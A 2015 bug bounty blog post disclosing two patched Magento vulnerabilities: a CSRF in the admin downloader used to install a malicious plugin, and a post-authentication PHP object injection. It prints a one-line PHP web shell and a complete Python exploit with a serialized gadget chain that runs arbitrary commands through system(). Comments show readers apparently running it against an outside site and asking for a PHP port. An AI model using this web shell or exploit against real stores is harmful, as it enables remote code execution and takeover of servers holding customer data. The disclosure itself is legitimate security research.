Tuesday, August 18, 2015

Magento Bug Bounty 1 & 2: CSRF to code execution and Post-auth RCE via object injection

After months of procrastination and tons of words of encouragement from a good friend to start this blog  I've decided to do so finally and open up with a couple of bug bounties I've been awarded with recently. I was shooting for the top bounties for  Magento and landed pretty close to my goal.

Bounty #1: CSRF:

My initial thought was to check out some of less explored areas of Magento that seemed interesting. Namely, the /downloader/ page which is used to by admins to upload plugins to the Magento store either from a local package or remotely from the Magento Connect marketplace. Upon logging in I attempted to change a few settings and immediately noticed there was no CSRF tokens on any of the requests.

I thought of the obvious issue, CSRF an admin and upload a malicious module but there were a couple problems that prevented this.

Problem 1:
I had no idea what the directory and file structure was like for the MagentoConnect website and googling around didn't lead to much.

Solution:  Wireshark solves a lot of problems. While running a local copy I just had to find the requests being sent from my server, grab each config file being read, and mimic them on my attackers server.






After a bit of back and forth I had managed to properly emulate the community plugin pages layout on my attacker server and create a valid malicious payload.









bad.php:  <?php system($_GET[cmd]); ?>      

Problem 2:
The process requires multiple POST requests to install from a URL

In order for a plugin to be installed from a URL the admin needed to click "install" after the URL was entered and then "proceed" which was sent in 2 POST requests.








XHR would have made this a non-issue but there was no CORS header being sent allowing this. We could have used the method described in this awesome blog post but because the "X-Frame-Options" was set to "SAMEORIGIN" it would not have worked.

NOTE: As pointed out in the comments by Mr. James Kettle this attack would actually still work even with the X-Frame-Option.


However, upon closer inspection the "A=" parameter seems to change when the install actually takes place.




If we just adjust our PoC CSRF to POST to that URL instead it seems like we'd be able to install our payload with a single click from an admin.














And it worked!

The bounty awarded for this bug was $9000.

Timeline:
11/17/2014 - Bug reported via the Ebay Inc. Bug Bounty portal
02/??/2015 - Report was closed
02/10/2015 - Created another bug report via the Ebay Inc. Bug Bounty portal
02/10/2015 - Request for more info by Ebay
02/23/2015 - Request for assistance with setting up PoC page
03/04/2015 - More back forth with the engineer
04/03/2015 - Initial payment received
06/03/2015 - Final payment received
07/07/2015 - Patch is pushed


Bounty #2 PHP Object injection:

You may or may not have seen this one posted before by a much more skilled researcher and writer named Johannes Dahse, the author of the popular PHP source code analysis tool RIPS. If you have not I highly suggest reading his writeup here instead as it'll be an actual explanation with more content. I likely only reported the bug a few days earlier so kudos to him.

The bounty awarded for this issue was $2500.

Timeline:

11/21/2014 - Bug reported via the Ebay Inc. Bug Bounty portal
11/24/2014 - Patched silently in 1.9.1.0
12/18/2014 - Final payment received


PoC sent to PayPal:
#!/usr/bin/python
# Magento PoC for post auth php object injection
# pip install mechanize || easy_install mechanize
# Author: @Ebrietas0 || http://ebrietas0.blogspot.com
import sys
import re
import base64
from hashlib import md5

import mechanize


def usage():
    print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
    sys.exit()


if len(sys.argv) != 3:
    usage()

# Command-line args
target = sys.argv[1]
arg = sys.argv[2]

# Config.
username = ''
password = ''
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000'  # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)

request = br.open(target)

br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password

br.method = "POST"
request = br.submit()
content = request.read()

url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
    request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
    print e.read()

8 comments:

  1. I'm pretty sure X-Frame-Options doesn't stop you from doing multi-step CSRF here. Think about it - by the time the victim's web browser gets the XFO header it's too late the block the attack - the POST request has already been made. At no point do you need the target website displayed in an iframe.

    ReplyDelete
  2. Hi Mr Kettle,

    Thank you for pointing that out. You're absolutely right it would have worked even better too as there would have been no output on the victims end. I had assumed that it just wouldn't work and didn't even bother to test. I appreciate you taking the time to comment and point out the error. I'll update the post as well.

    Thanks again,
    Ebrietas

    ReplyDelete
  3. Hello sir, i try the exploit code, but i got this error

    root@fathur:~# sudo python 31337.py http://www.idsolutions.com "uname -a"
    Traceback (most recent call last):
    File "31337.py", line 56, in
    br['login[password]'] = password
    File "/usr/local/lib/python2.7/dist-packages/mechanize/_form.py", line 2780, in __setitem__
    control = self.find_control(name)
    File "/usr/local/lib/python2.7/dist-packages/mechanize/_form.py", line 3101, in find_control
    return self._find_control(name, type, kind, id, label, predicate, nr)
    File "/usr/local/lib/python2.7/dist-packages/mechanize/_form.py", line 3185, in _find_control
    raise ControlNotFoundError("no control matching "+description)
    mechanize._form.ControlNotFoundError: no control matching name 'login[password]'

    ReplyDelete
    Replies
    1. Can you make php version of this POC please ?

      Delete
  4. i got the same issue:

    "mechanize._form.ControlNotFoundError: no control matching name 'login[password]'"

    any help with that?

    ReplyDelete
  5. This is a great post. I like this topic.This site has lots of advantage. It helps me in many ways.Thanks for posting this again.
    magento development company in bangalore 

    ReplyDelete
  6. I think this article will fully complement you article. PLease continue publishing helpful topics like this. Regards, from AOC, a Tampa Magento Developer company

    ReplyDelete